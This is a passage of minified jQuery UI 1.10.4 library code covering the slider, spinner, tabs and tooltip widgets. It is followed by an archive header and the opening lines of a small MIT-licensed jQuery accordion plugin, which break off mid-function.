this.handles.removeClass("ui-state-active"),this._mouseSliding=!1,this._stop(e,this._handleIndex),this._change(e,this._handleIndex),this._handleIndex=null,this._clickOffset=null,this._animateOff=!1,!1},_detectOrientation:function(){this.orientation="vertical"===this.options.orientation?"vertical":"horizontal"},_normValueFromMouse:function(e){var t,i,s,n,a;return"horizontal"===this.orientation?(t=this.elementSize.width,i=e.x-this.elementOffset.left-(this._clickOffset?this._clickOffset.left:0)):(t=this.elementSize.height,i=e.y-this.elementOffset.top-(this._clickOffset?this._clickOffset.top:0)),s=i/t,s>1&&(s=1),0>s&&(s=0),"vertical"===this.orientation&&(s=1-s),n=this._valueMax()-this._valueMin(),a=this._valueMin()+s*n,this._trimAlignValue(a)},_start:function(e,t){var i={handle:this.handles[t],value:this.value()};return this.options.values&&this.options.values.length&&(i.value=this.values(t),i.values=this.values()),this._trigger("start",e,i)},_slide:function(e,t,i){var s,n,a;this.options.values&&this.options.values.length?(s=this.values(t?0:1),2===this.options.values.length&&this.options.range===!0&&(0===t&&i>s||1===t&&s>i)&&(i=s),i!==this.values(t)&&(n=this.values(),n[t]=i,a=this._trigger("slide",e,{handle:this.handles[t],value:i,values:n}),s=this.values(t?0:1),a!==!1&&this.values(t,i))):i!==this.value()&&(a=this._trigger("slide",e,{handle:this.handles[t],value:i}),a!==!1&&this.value(i))},_stop:function(e,t){var i={handle:this.handles[t],value:this.value()};this.options.values&&this.options.values.length&&(i.value=this.values(t),i.values=this.values()),this._trigger("stop",e,i)},_change:function(e,t){if(!this._keySliding&&!this._mouseSliding){var i={handle:this.handles[t],value:this.value()};this.options.values&&this.options.values.length&&(i.value=this.values(t),i.values=this.values()),this._lastChangedValue=t,this._trigger("change",e,i)}},value:function(e){return arguments.length?(this.options.value=this._trimAlignValue(e),this._refreshValue(),this._change(null,0),undefined):this._value()},values:function(t,i){var s,n,a;if(arguments.length>1)return this.options.values[t]=this._trimAlignValue(i),this._refreshValue(),this._change(null,t),undefined;if(!arguments.length)return this._values();if(!e.isArray(arguments[0]))return this.options.values&&this.options.values.length?this._values(t):this.value();for(s=this.options.values,n=arguments[0],a=0;s.length>a;a+=1)s[a]=this._trimAlignValue(n[a]),this._change(null,a);this._refreshValue()},_setOption:function(t,i){var s,n=0;switch("range"===t&&this.options.range===!0&&("min"===i?(this.options.value=this._values(0),this.options.values=null):"max"===i&&(this.options.value=this._values(this.options.values.length-1),this.options.values=null)),e.isArray(this.options.values)&&(n=this.options.values.length),e.Widget.prototype._setOption.apply(this,arguments),t){case"orientation":this._detectOrientation(),this.element.removeClass("ui-slider-horizontal ui-slider-vertical").addClass("ui-slider-"+this.orientation),this._refreshValue();break;case"value":this._animateOff=!0,this._refreshValue(),this._change(null,0),this._animateOff=!1;break;case"values":for(this._animateOff=!0,this._refreshValue(),s=0;n>s;s+=1)this._change(null,s);this._animateOff=!1;break;case"min":case"max":this._animateOff=!0,this._refreshValue(),this._animateOff=!1;break;case"range":this._animateOff=!0,this._refresh(),this._animateOff=!1}},_value:function(){var e=this.options.value;return e=this._trimAlignValue(e)},_values:function(e){var t,i,s;if(arguments.length)return t=this.options.values[e],t=this._trimAlignValue(t);if(this.options.values&&this.options.values.length){for(i=this.options.values.slice(),s=0;i.length>s;s+=1)i[s]=this._trimAlignValue(i[s]);return i}return[]},_trimAlignValue:function(e){if(this._valueMin()>=e)return this._valueMin();if(e>=this._valueMax())return this._valueMax();var t=this.options.step>0?this.options.step:1,i=(e-this._valueMin())%t,s=e-i;return 2*Math.abs(i)>=t&&(s+=i>0?t:-t),parseFloat(s.toFixed(5))},_valueMin:function(){return this.options.min},_valueMax:function(){return this.options.max},_refreshValue:function(){var t,i,s,n,a,o=this.options.range,r=this.options,h=this,l=this._animateOff?!1:r.animate,u={};this.options.values&&this.options.values.length?this.handles.each(function(s){i=100*((h.values(s)-h._valueMin())/(h._valueMax()-h._valueMin())),u["horizontal"===h.orientation?"left":"bottom"]=i+"%",e(this).stop(1,1)[l?"animate":"css"](u,r.animate),h.options.range===!0&&("horizontal"===h.orientation?(0===s&&h.range.stop(1,1)[l?"animate":"css"]({left:i+"%"},r.animate),1===s&&h.range[l?"animate":"css"]({width:i-t+"%"},{queue:!1,duration:r.animate})):(0===s&&h.range.stop(1,1)[l?"animate":"css"]({bottom:i+"%"},r.animate),1===s&&h.range[l?"animate":"css"]({height:i-t+"%"},{queue:!1,duration:r.animate}))),t=i}):(s=this.value(),n=this._valueMin(),a=this._valueMax(),i=a!==n?100*((s-n)/(a-n)):0,u["horizontal"===this.orientation?"left":"bottom"]=i+"%",this.handle.stop(1,1)[l?"animate":"css"](u,r.animate),"min"===o&&"horizontal"===this.orientation&&this.range.stop(1,1)[l?"animate":"css"]({width:i+"%"},r.animate),"max"===o&&"horizontal"===this.orientation&&this.range[l?"animate":"css"]({width:100-i+"%"},{queue:!1,duration:r.animate}),"min"===o&&"vertical"===this.orientation&&this.range.stop(1,1)[l?"animate":"css"]({height:i+"%"},r.animate),"max"===o&&"vertical"===this.orientation&&this.range[l?"animate":"css"]({height:100-i+"%"},{queue:!1,duration:r.animate}))},_handleEvents:{keydown:function(i){var s,n,a,o,r=e(i.target).data("ui-slider-handle-index");switch(i.keyCode){case e.ui.keyCode.HOME:case e.ui.keyCode.END:case e.ui.keyCode.PAGE_UP:case e.ui.keyCode.PAGE_DOWN:case e.ui.keyCode.UP:case e.ui.keyCode.RIGHT:case e.ui.keyCode.DOWN:case e.ui.keyCode.LEFT:if(i.preventDefault(),!this._keySliding&&(this._keySliding=!0,e(i.target).addClass("ui-state-active"),s=this._start(i,r),s===!1))return}switch(o=this.options.step,n=a=this.options.values&&this.options.values.length?this.values(r):this.value(),i.keyCode){case e.ui.keyCode.HOME:a=this._valueMin();break;case e.ui.keyCode.END:a=this._valueMax();break;case e.ui.keyCode.PAGE_UP:a=this._trimAlignValue(n+(this._valueMax()-this._valueMin())/t);break;case e.ui.keyCode.PAGE_DOWN:a=this._trimAlignValue(n-(this._valueMax()-this._valueMin())/t);break;case e.ui.keyCode.UP:case e.ui.keyCode.RIGHT:if(n===this._valueMax())return;a=this._trimAlignValue(n+o);break;case e.ui.keyCode.DOWN:case e.ui.keyCode.LEFT:if(n===this._valueMin())return;a=this._trimAlignValue(n-o)}this._slide(i,r,a)},click:function(e){e.preventDefault()},keyup:function(t){var i=e(t.target).data("ui-slider-handle-index");this._keySliding&&(this._keySliding=!1,this._stop(t,i),this._change(t,i),e(t.target).removeClass("ui-state-active"))}}})})(jQuery);(function(e){function t(e){return function(){var t=this.element.val();e.apply(this,arguments),this._refresh(),t!==this.element.val()&&this._trigger("change")}}e.widget("ui.spinner",{version:"1.10.4",defaultElement:"<input>",widgetEventPrefix:"spin",options:{culture:null,icons:{down:"ui-icon-triangle-1-s",up:"ui-icon-triangle-1-n"},incremental:!0,max:null,min:null,numberFormat:null,page:10,step:1,change:null,spin:null,start:null,stop:null},_create:function(){this._setOption("max",this.options.max),this._setOption("min",this.options.min),this._setOption("step",this.options.step),""!==this.value()&&this._value(this.element.val(),!0),this._draw(),this._on(this._events),this._refresh(),this._on(this.window,{beforeunload:function(){this.element.removeAttr("autocomplete")}})},_getCreateOptions:function(){var t={},i=this.element;return e.each(["min","max","step"],function(e,s){var n=i.attr(s);void 0!==n&&n.length&&(t[s]=n)}),t},_events:{keydown:function(e){this._start(e)&&this._keydown(e)&&e.preventDefault()},keyup:"_stop",focus:function(){this.previous=this.element.val()},blur:function(e){return this.cancelBlur?(delete this.cancelBlur,void 0):(this._stop(),this._refresh(),this.previous!==this.element.val()&&this._trigger("change",e),void 0)},mousewheel:function(e,t){if(t){if(!this.spinning&&!this._start(e))return!1;this._spin((t>0?1:-1)*this.options.step,e),clearTimeout(this.mousewheelTimer),this.mousewheelTimer=this._delay(function(){this.spinning&&this._stop(e)},100),e.preventDefault()}},"mousedown .ui-spinner-button":function(t){function i(){var e=this.element[0]===this.document[0].activeElement;e||(this.element.focus(),this.previous=s,this._delay(function(){this.previous=s}))}var s;s=this.element[0]===this.document[0].activeElement?this.previous:this.element.val(),t.preventDefault(),i.call(this),this.cancelBlur=!0,this._delay(function(){delete this.cancelBlur,i.call(this)}),this._start(t)!==!1&&this._repeat(null,e(t.currentTarget).hasClass("ui-spinner-up")?1:-1,t)},"mouseup .ui-spinner-button":"_stop","mouseenter .ui-spinner-button":function(t){return e(t.currentTarget).hasClass("ui-state-active")?this._start(t)===!1?!1:(this._repeat(null,e(t.currentTarget).hasClass("ui-spinner-up")?1:-1,t),void 0):void 0},"mouseleave .ui-spinner-button":"_stop"},_draw:function(){var e=this.uiSpinner=this.element.addClass("ui-spinner-input").attr("autocomplete","off").wrap(this._uiSpinnerHtml()).parent().append(this._buttonHtml());this.element.attr("role","spinbutton"),this.buttons=e.find(".ui-spinner-button").attr("tabIndex",-1).button().removeClass("ui-corner-all"),this.buttons.height()>Math.ceil(.5*e.height())&&e.height()>0&&e.height(e.height()),this.options.disabled&&this.disable()},_keydown:function(t){var i=this.options,s=e.ui.keyCode;switch(t.keyCode){case s.UP:return this._repeat(null,1,t),!0;case s.DOWN:return this._repeat(null,-1,t),!0;case s.PAGE_UP:return this._repeat(null,i.page,t),!0;case s.PAGE_DOWN:return this._repeat(null,-i.page,t),!0}return!1},_uiSpinnerHtml:function(){return"<span class='ui-spinner ui-widget ui-widget-content ui-corner-all'></span>"},_buttonHtml:function(){return"<a class='ui-spinner-button ui-spinner-up ui-corner-tr'><span class='ui-icon "+this.options.icons.up+"'>&#9650;</span>"+"</a>"+"<a class='ui-spinner-button ui-spinner-down ui-corner-br'>"+"<span class='ui-icon "+this.options.icons.down+"'>&#9660;</span>"+"</a>"},_start:function(e){return this.spinning||this._trigger("start",e)!==!1?(this.counter||(this.counter=1),this.spinning=!0,!0):!1},_repeat:function(e,t,i){e=e||500,clearTimeout(this.timer),this.timer=this._delay(function(){this._repeat(40,t,i)},e),this._spin(t*this.options.step,i)},_spin:function(e,t){var i=this.value()||0;this.counter||(this.counter=1),i=this._adjustValue(i+e*this._increment(this.counter)),this.spinning&&this._trigger("spin",t,{value:i})===!1||(this._value(i),this.counter++)},_increment:function(t){var i=this.options.incremental;return i?e.isFunction(i)?i(t):Math.floor(t*t*t/5e4-t*t/500+17*t/200+1):1},_precision:function(){var e=this._precisionOf(this.options.step);return null!==this.options.min&&(e=Math.max(e,this._precisionOf(this.options.min))),e},_precisionOf:function(e){var t=""+e,i=t.indexOf(".");return-1===i?0:t.length-i-1},_adjustValue:function(e){var t,i,s=this.options;return t=null!==s.min?s.min:0,i=e-t,i=Math.round(i/s.step)*s.step,e=t+i,e=parseFloat(e.toFixed(this._precision())),null!==s.max&&e>s.max?s.max:null!==s.min&&s.min>e?s.min:e},_stop:function(e){this.spinning&&(clearTimeout(this.timer),clearTimeout(this.mousewheelTimer),this.counter=0,this.spinning=!1,this._trigger("stop",e))},_setOption:function(e,t){if("culture"===e||"numberFormat"===e){var i=this._parse(this.element.val());return this.options[e]=t,this.element.val(this._format(i)),void 0}("max"===e||"min"===e||"step"===e)&&"string"==typeof t&&(t=this._parse(t)),"icons"===e&&(this.buttons.first().find(".ui-icon").removeClass(this.options.icons.up).addClass(t.up),this.buttons.last().find(".ui-icon").removeClass(this.options.icons.down).addClass(t.down)),this._super(e,t),"disabled"===e&&(t?(this.element.prop("disabled",!0),this.buttons.button("disable")):(this.element.prop("disabled",!1),this.buttons.button("enable")))},_setOptions:t(function(e){this._super(e),this._value(this.element.val())}),_parse:function(e){return"string"==typeof e&&""!==e&&(e=window.Globalize&&this.options.numberFormat?Globalize.parseFloat(e,10,this.options.culture):+e),""===e||isNaN(e)?null:e},_format:function(e){return""===e?"":window.Globalize&&this.options.numberFormat?Globalize.format(e,this.options.numberFormat,this.options.culture):e},_refresh:function(){this.element.attr({"aria-valuemin":this.options.min,"aria-valuemax":this.options.max,"aria-valuenow":this._parse(this.element.val())})},_value:function(e,t){var i;""!==e&&(i=this._parse(e),null!==i&&(t||(i=this._adjustValue(i)),e=this._format(i))),this.element.val(e),this._refresh()},_destroy:function(){this.element.removeClass("ui-spinner-input").prop("disabled",!1).removeAttr("autocomplete").removeAttr("role").removeAttr("aria-valuemin").removeAttr("aria-valuemax").removeAttr("aria-valuenow"),this.uiSpinner.replaceWith(this.element)},stepUp:t(function(e){this._stepUp(e)}),_stepUp:function(e){this._start()&&(this._spin((e||1)*this.options.step),this._stop())},stepDown:t(function(e){this._stepDown(e)}),_stepDown:function(e){this._start()&&(this._spin((e||1)*-this.options.step),this._stop())},pageUp:t(function(e){this._stepUp((e||1)*this.options.page)}),pageDown:t(function(e){this._stepDown((e||1)*this.options.page)}),value:function(e){return arguments.length?(t(this._value).call(this,e),void 0):this._parse(this.element.val())},widget:function(){return this.uiSpinner}})})(jQuery);(function(e,t){function i(){return++n}function s(e){return e=e.cloneNode(!1),e.hash.length>1&&decodeURIComponent(e.href.replace(a,""))===decodeURIComponent(location.href.replace(a,""))}var n=0,a=/#.*$/;e.widget("ui.tabs",{version:"1.10.4",delay:300,options:{active:null,collapsible:!1,event:"click",heightStyle:"content",hide:null,show:null,activate:null,beforeActivate:null,beforeLoad:null,load:null},_create:function(){var t=this,i=this.options;this.running=!1,this.element.addClass("ui-tabs ui-widget ui-widget-content ui-corner-all").toggleClass("ui-tabs-collapsible",i.collapsible).delegate(".ui-tabs-nav > li","mousedown"+this.eventNamespace,function(t){e(this).is(".ui-state-disabled")&&t.preventDefault()}).delegate(".ui-tabs-anchor","focus"+this.eventNamespace,function(){e(this).closest("li").is(".ui-state-disabled")&&this.blur()}),this._processTabs(),i.active=this._initialActive(),e.isArray(i.disabled)&&(i.disabled=e.unique(i.disabled.concat(e.map(this.tabs.filter(".ui-state-disabled"),function(e){return t.tabs.index(e)}))).sort()),this.active=this.options.active!==!1&&this.anchors.length?this._findActive(i.active):e(),this._refresh(),this.active.length&&this.load(i.active)},_initialActive:function(){var i=this.options.active,s=this.options.collapsible,n=location.hash.substring(1);return null===i&&(n&&this.tabs.each(function(s,a){return e(a).attr("aria-controls")===n?(i=s,!1):t}),null===i&&(i=this.tabs.index(this.tabs.filter(".ui-tabs-active"))),(null===i||-1===i)&&(i=this.tabs.length?0:!1)),i!==!1&&(i=this.tabs.index(this.tabs.eq(i)),-1===i&&(i=s?!1:0)),!s&&i===!1&&this.anchors.length&&(i=0),i},_getCreateEventData:function(){return{tab:this.active,panel:this.active.length?this._getPanelForTab(this.active):e()}},_tabKeydown:function(i){var s=e(this.document[0].activeElement).closest("li"),n=this.tabs.index(s),a=!0;if(!this._handlePageNav(i)){switch(i.keyCode){case e.ui.keyCode.RIGHT:case e.ui.keyCode.DOWN:n++;break;case e.ui.keyCode.UP:case e.ui.keyCode.LEFT:a=!1,n--;break;case e.ui.keyCode.END:n=this.anchors.length-1;break;case e.ui.keyCode.HOME:n=0;break;case e.ui.keyCode.SPACE:return i.preventDefault(),clearTimeout(this.activating),this._activate(n),t;case e.ui.keyCode.ENTER:return i.preventDefault(),clearTimeout(this.activating),this._activate(n===this.options.active?!1:n),t;default:return}i.preventDefault(),clearTimeout(this.activating),n=this._focusNextTab(n,a),i.ctrlKey||(s.attr("aria-selected","false"),this.tabs.eq(n).attr("aria-selected","true"),this.activating=this._delay(function(){this.option("active",n)},this.delay))}},_panelKeydown:function(t){this._handlePageNav(t)||t.ctrlKey&&t.keyCode===e.ui.keyCode.UP&&(t.preventDefault(),this.active.focus())},_handlePageNav:function(i){return i.altKey&&i.keyCode===e.ui.keyCode.PAGE_UP?(this._activate(this._focusNextTab(this.options.active-1,!1)),!0):i.altKey&&i.keyCode===e.ui.keyCode.PAGE_DOWN?(this._activate(this._focusNextTab(this.options.active+1,!0)),!0):t},_findNextTab:function(t,i){function s(){return t>n&&(t=0),0>t&&(t=n),t}for(var n=this.tabs.length-1;-1!==e.inArray(s(),this.options.disabled);)t=i?t+1:t-1;return t},_focusNextTab:function(e,t){return e=this._findNextTab(e,t),this.tabs.eq(e).focus(),e},_setOption:function(e,i){return"active"===e?(this._activate(i),t):"disabled"===e?(this._setupDisabled(i),t):(this._super(e,i),"collapsible"===e&&(this.element.toggleClass("ui-tabs-collapsible",i),i||this.options.active!==!1||this._activate(0)),"event"===e&&this._setupEvents(i),"heightStyle"===e&&this._setupHeightStyle(i),t)},_tabId:function(e){return e.attr("aria-controls")||"ui-tabs-"+i()},_sanitizeSelector:function(e){return e?e.replace(/[!"$%&'()*+,.\/:;<=>?@\[\]\^`{|}~]/g,"\\$&"):""},refresh:function(){var t=this.options,i=this.tablist.children(":has(a[href])");t.disabled=e.map(i.filter(".ui-state-disabled"),function(e){return i.index(e)}),this._processTabs(),t.active!==!1&&this.anchors.length?this.active.length&&!e.contains(this.tablist[0],this.active[0])?this.tabs.length===t.disabled.length?(t.active=!1,this.active=e()):this._activate(this._findNextTab(Math.max(0,t.active-1),!1)):t.active=this.tabs.index(this.active):(t.active=!1,this.active=e()),this._refresh()},_refresh:function(){this._setupDisabled(this.options.disabled),this._setupEvents(this.options.event),this._setupHeightStyle(this.options.heightStyle),this.tabs.not(this.active).attr({"aria-selected":"false",tabIndex:-1}),this.panels.not(this._getPanelForTab(this.active)).hide().attr({"aria-expanded":"false","aria-hidden":"true"}),this.active.length?(this.active.addClass("ui-tabs-active ui-state-active").attr({"aria-selected":"true",tabIndex:0}),this._getPanelForTab(this.active).show().attr({"aria-expanded":"true","aria-hidden":"false"})):this.tabs.eq(0).attr("tabIndex",0)},_processTabs:function(){var t=this;this.tablist=this._getList().addClass("ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all").attr("role","tablist"),this.tabs=this.tablist.find("> li:has(a[href])").addClass("ui-state-default ui-corner-top").attr({role:"tab",tabIndex:-1}),this.anchors=this.tabs.map(function(){return e("a",this)[0]}).addClass("ui-tabs-anchor").attr({role:"presentation",tabIndex:-1}),this.panels=e(),this.anchors.each(function(i,n){var a,o,r,h=e(n).uniqueId().attr("id"),l=e(n).closest("li"),u=l.attr("aria-controls");s(n)?(a=n.hash,o=t.element.find(t._sanitizeSelector(a))):(r=t._tabId(l),a="#"+r,o=t.element.find(a),o.length||(o=t._createPanel(r),o.insertAfter(t.panels[i-1]||t.tablist)),o.attr("aria-live","polite")),o.length&&(t.panels=t.panels.add(o)),u&&l.data("ui-tabs-aria-controls",u),l.attr({"aria-controls":a.substring(1),"aria-labelledby":h}),o.attr("aria-labelledby",h)}),this.panels.addClass("ui-tabs-panel ui-widget-content ui-corner-bottom").attr("role","tabpanel")},_getList:function(){return this.tablist||this.element.find("ol,ul").eq(0)},_createPanel:function(t){return e("<div>").attr("id",t).addClass("ui-tabs-panel ui-widget-content ui-corner-bottom").data("ui-tabs-destroy",!0)},_setupDisabled:function(t){e.isArray(t)&&(t.length?t.length===this.anchors.length&&(t=!0):t=!1);for(var i,s=0;i=this.tabs[s];s++)t===!0||-1!==e.inArray(s,t)?e(i).addClass("ui-state-disabled").attr("aria-disabled","true"):e(i).removeClass("ui-state-disabled").removeAttr("aria-disabled");this.options.disabled=t},_setupEvents:function(t){var i={click:function(e){e.preventDefault()}};t&&e.each(t.split(" "),function(e,t){i[t]="_eventHandler"}),this._off(this.anchors.add(this.tabs).add(this.panels)),this._on(this.anchors,i),this._on(this.tabs,{keydown:"_tabKeydown"}),this._on(this.panels,{keydown:"_panelKeydown"}),this._focusable(this.tabs),this._hoverable(this.tabs)},_setupHeightStyle:function(t){var i,s=this.element.parent();"fill"===t?(i=s.height(),i-=this.element.outerHeight()-this.element.height(),this.element.siblings(":visible").each(function(){var t=e(this),s=t.css("position");"absolute"!==s&&"fixed"!==s&&(i-=t.outerHeight(!0))}),this.element.children().not(this.panels).each(function(){i-=e(this).outerHeight(!0)}),this.panels.each(function(){e(this).height(Math.max(0,i-e(this).innerHeight()+e(this).height()))}).css("overflow","auto")):"auto"===t&&(i=0,this.panels.each(function(){i=Math.max(i,e(this).height("").height())}).height(i))},_eventHandler:function(t){var i=this.options,s=this.active,n=e(t.currentTarget),a=n.closest("li"),o=a[0]===s[0],r=o&&i.collapsible,h=r?e():this._getPanelForTab(a),l=s.length?this._getPanelForTab(s):e(),u={oldTab:s,oldPanel:l,newTab:r?e():a,newPanel:h};t.preventDefault(),a.hasClass("ui-state-disabled")||a.hasClass("ui-tabs-loading")||this.running||o&&!i.collapsible||this._trigger("beforeActivate",t,u)===!1||(i.active=r?!1:this.tabs.index(a),this.active=o?e():a,this.xhr&&this.xhr.abort(),l.length||h.length||e.error("jQuery UI Tabs: Mismatching fragment identifier."),h.length&&this.load(this.tabs.index(a),t),this._toggle(t,u))},_toggle:function(t,i){function s(){a.running=!1,a._trigger("activate",t,i)}function n(){i.newTab.closest("li").addClass("ui-tabs-active ui-state-active"),o.length&&a.options.show?a._show(o,a.options.show,s):(o.show(),s())}var a=this,o=i.newPanel,r=i.oldPanel;this.running=!0,r.length&&this.options.hide?this._hide(r,this.options.hide,function(){i.oldTab.closest("li").removeClass("ui-tabs-active ui-state-active"),n()}):(i.oldTab.closest("li").removeClass("ui-tabs-active ui-state-active"),r.hide(),n()),r.attr({"aria-expanded":"false","aria-hidden":"true"}),i.oldTab.attr("aria-selected","false"),o.length&&r.length?i.oldTab.attr("tabIndex",-1):o.length&&this.tabs.filter(function(){return 0===e(this).attr("tabIndex")}).attr("tabIndex",-1),o.attr({"aria-expanded":"true","aria-hidden":"false"}),i.newTab.attr({"aria-selected":"true",tabIndex:0})},_activate:function(t){var i,s=this._findActive(t);s[0]!==this.active[0]&&(s.length||(s=this.active),i=s.find(".ui-tabs-anchor")[0],this._eventHandler({target:i,currentTarget:i,preventDefault:e.noop}))},_findActive:function(t){return t===!1?e():this.tabs.eq(t)},_getIndex:function(e){return"string"==typeof e&&(e=this.anchors.index(this.anchors.filter("[href$='"+e+"']"))),e},_destroy:function(){this.xhr&&this.xhr.abort(),this.element.removeClass("ui-tabs ui-widget ui-widget-content ui-corner-all ui-tabs-collapsible"),this.tablist.removeClass("ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all").removeAttr("role"),this.anchors.removeClass("ui-tabs-anchor").removeAttr("role").removeAttr("tabIndex").removeUniqueId(),this.tabs.add(this.panels).each(function(){e.data(this,"ui-tabs-destroy")?e(this).remove():e(this).removeClass("ui-state-default ui-state-active ui-state-disabled ui-corner-top ui-corner-bottom ui-widget-content ui-tabs-active ui-tabs-panel").removeAttr("tabIndex").removeAttr("aria-live").removeAttr("aria-busy").removeAttr("aria-selected").removeAttr("aria-labelledby").removeAttr("aria-hidden").removeAttr("aria-expanded").removeAttr("role")}),this.tabs.each(function(){var t=e(this),i=t.data("ui-tabs-aria-controls");i?t.attr("aria-controls",i).removeData("ui-tabs-aria-controls"):t.removeAttr("aria-controls")}),this.panels.show(),"content"!==this.options.heightStyle&&this.panels.css("height","")},enable:function(i){var s=this.options.disabled;s!==!1&&(i===t?s=!1:(i=this._getIndex(i),s=e.isArray(s)?e.map(s,function(e){return e!==i?e:null}):e.map(this.tabs,function(e,t){return t!==i?t:null})),this._setupDisabled(s))},disable:function(i){var s=this.options.disabled;if(s!==!0){if(i===t)s=!0;else{if(i=this._getIndex(i),-1!==e.inArray(i,s))return;s=e.isArray(s)?e.merge([i],s).sort():[i]}this._setupDisabled(s)}},load:function(t,i){t=this._getIndex(t);var n=this,a=this.tabs.eq(t),o=a.find(".ui-tabs-anchor"),r=this._getPanelForTab(a),h={tab:a,panel:r};s(o[0])||(this.xhr=e.ajax(this._ajaxSettings(o,i,h)),this.xhr&&"canceled"!==this.xhr.statusText&&(a.addClass("ui-tabs-loading"),r.attr("aria-busy","true"),this.xhr.success(function(e){setTimeout(function(){r.html(e),n._trigger("load",i,h)},1)}).complete(function(e,t){setTimeout(function(){"abort"===t&&n.panels.stop(!1,!0),a.removeClass("ui-tabs-loading"),r.removeAttr("aria-busy"),e===n.xhr&&delete n.xhr},1)})))},_ajaxSettings:function(t,i,s){var n=this;return{url:t.attr("href"),beforeSend:function(t,a){return n._trigger("beforeLoad",i,e.extend({jqXHR:t,ajaxSettings:a},s))}}},_getPanelForTab:function(t){var i=e(t).attr("aria-controls");return this.element.find(this._sanitizeSelector("#"+i))}})})(jQuery);(function(e){function t(t,i){var s=(t.attr("aria-describedby")||"").split(/\s+/);s.push(i),t.data("ui-tooltip-id",i).attr("aria-describedby",e.trim(s.join(" ")))}function i(t){var i=t.data("ui-tooltip-id"),s=(t.attr("aria-describedby")||"").split(/\s+/),n=e.inArray(i,s);-1!==n&&s.splice(n,1),t.removeData("ui-tooltip-id"),s=e.trim(s.join(" ")),s?t.attr("aria-describedby",s):t.removeAttr("aria-describedby")}var s=0;e.widget("ui.tooltip",{version:"1.10.4",options:{content:function(){var t=e(this).attr("title")||"";return e("<a>").text(t).html()},hide:!0,items:"[title]:not([disabled])",position:{my:"left top+15",at:"left bottom",collision:"flipfit flip"},show:!0,tooltipClass:null,track:!1,close:null,open:null},_create:function(){this._on({mouseover:"open",focusin:"open"}),this.tooltips={},this.parents={},this.options.disabled&&this._disable()},_setOption:function(t,i){var s=this;return"disabled"===t?(this[i?"_disable":"_enable"](),this.options[t]=i,void 0):(this._super(t,i),"content"===t&&e.each(this.tooltips,function(e,t){s._updateContent(t)}),void 0)},_disable:function(){var t=this;e.each(this.tooltips,function(i,s){var n=e.Event("blur");n.target=n.currentTarget=s[0],t.close(n,!0)}),this.element.find(this.options.items).addBack().each(function(){var t=e(this);t.is("[title]")&&t.data("ui-tooltip-title",t.attr("title")).attr("title","")})},_enable:function(){this.element.find(this.options.items).addBack().each(function(){var t=e(this);t.data("ui-tooltip-title")&&t.attr("title",t.data("ui-tooltip-title"))})},open:function(t){var i=this,s=e(t?t.target:this.element).closest(this.options.items);s.length&&!s.data("ui-tooltip-id")&&(s.attr("title")&&s.data("ui-tooltip-title",s.attr("title")),s.data("ui-tooltip-open",!0),t&&"mouseover"===t.type&&s.parents().each(function(){var t,s=e(this);s.data("ui-tooltip-open")&&(t=e.Event("blur"),t.target=t.currentTarget=this,i.close(t,!0)),s.attr("title")&&(s.uniqueId(),i.parents[this.id]={element:this,title:s.attr("title")},s.attr("title",""))}),this._updateContent(s,t))},_updateContent:function(e,t){var i,s=this.options.content,n=this,a=t?t.type:null;return"string"==typeof s?this._open(t,e,s):(i=s.call(e[0],function(i){e.data("ui-tooltip-open")&&n._delay(function(){t&&(t.type=a),this._open(t,e,i)})}),i&&this._open(t,e,i),void 0)},_open:function(i,s,n){function a(e){l.of=e,o.is(":hidden")||o.position(l)}var o,r,h,l=e.extend({},this.options.position);if(n){if(o=this._find(s),o.length)return o.find(".ui-tooltip-content").html(n),void 0;s.is("[title]")&&(i&&"mouseover"===i.type?s.attr("title",""):s.removeAttr("title")),o=this._tooltip(s),t(s,o.attr("id")),o.find(".ui-tooltip-content").html(n),this.options.track&&i&&/^mouse/.test(i.type)?(this._on(this.document,{mousemove:a}),a(i)):o.position(e.extend({of:s},this.options.position)),o.hide(),this._show(o,this.options.show),this.options.show&&this.options.show.delay&&(h=this.delayedShow=setInterval(function(){o.is(":visible")&&(a(l.of),clearInterval(h))},e.fx.interval)),this._trigger("open",i,{tooltip:o}),r={keyup:function(t){if(t.keyCode===e.ui.keyCode.ESCAPE){var i=e.Event(t);i.currentTarget=s[0],this.close(i,!0)}},remove:function(){this._removeTooltip(o)}},i&&"mouseover"!==i.type||(r.mouseleave="close"),i&&"focusin"!==i.type||(r.focusout="close"),this._on(!0,s,r)}},close:function(t){var s=this,n=e(t?t.currentTarget:this.element),a=this._find(n);this.closing||(clearInterval(this.delayedShow),n.data("ui-tooltip-title")&&n.attr("title",n.data("ui-tooltip-title")),i(n),a.stop(!0),this._hide(a,this.options.hide,function(){s._removeTooltip(e(this))}),n.removeData("ui-tooltip-open"),this._off(n,"mouseleave focusout keyup"),n[0]!==this.element[0]&&this._off(n,"remove"),this._off(this.document,"mousemove"),t&&"mouseleave"===t.type&&e.each(this.parents,function(t,i){e(i.element).attr("title",i.title),delete s.parents[t]}),this.closing=!0,this._trigger("close",t,{tooltip:a}),this.closing=!1)},_tooltip:function(t){var i="ui-tooltip-"+s++,n=e("<div>").attr({id:i,role:"tooltip"}).addClass("ui-tooltip ui-widget ui-corner-all ui-widget-content "+(this.options.tooltipClass||""));return e("<div>").addClass("ui-tooltip-content").appendTo(n),n.appendTo(this.document[0].body),this.tooltips[i]=t,n},_find:function(t){var i=t.data("ui-tooltip-id");return i?e("#"+i):e()},_removeTooltip:function(e){e.remove(),delete this.tooltips[e.attr("id")]},_destroy:function(){var t=this;e.each(this.tooltips,function(i,s){var n=e.Event("blur");n.target=n.currentTarget=s[0],t.close(n,!0),e("#"+i).remove(),s.data("ui-tooltip-title")&&(s.attr("title",s.data("ui-tooltip-title")),s.removeData("ui-tooltip-title"))})}})})(jQuery);js/jquery.accordion.js000060400000004337150710775200011004 0ustar00/**
*	@name							Accordion
*	@descripton						This Jquery plugin makes creating accordions pain free
*	@version						1.4
*	@requires						Jquery 1.2.6+
*
*	@author							Jan Jarfalk
*	@author-email					jan.jarfalk@unwrongest.com
*	@author-website					http://www.unwrongest.com
*
*	@licens							MIT License - http://www.opensource.org/licenses/mit-license.php
*/

(function(jQuery){
     jQuery.fn.extend({
         accordion: function() {       
            return this.each(function() {
            	
            	var $ul						= $(this),
					elementDataKey			= 'accordiated',
					activeClassName			= 'active',
					activationEffect 		= 'slideToggle',
					panelSelector			= 'ul, div',
					activationEffectSpeed 	= 'slow',
					itemSelector			= 'li';
            	
				if($ul.data(elementDataKey))
					return false;
													
				$.each($ul.find('ul, li>div'), function(){
					$(this).data(elementDataKey, true);
					$(this).hide();
				});
				
				$.each($ul.find('a'), function(){
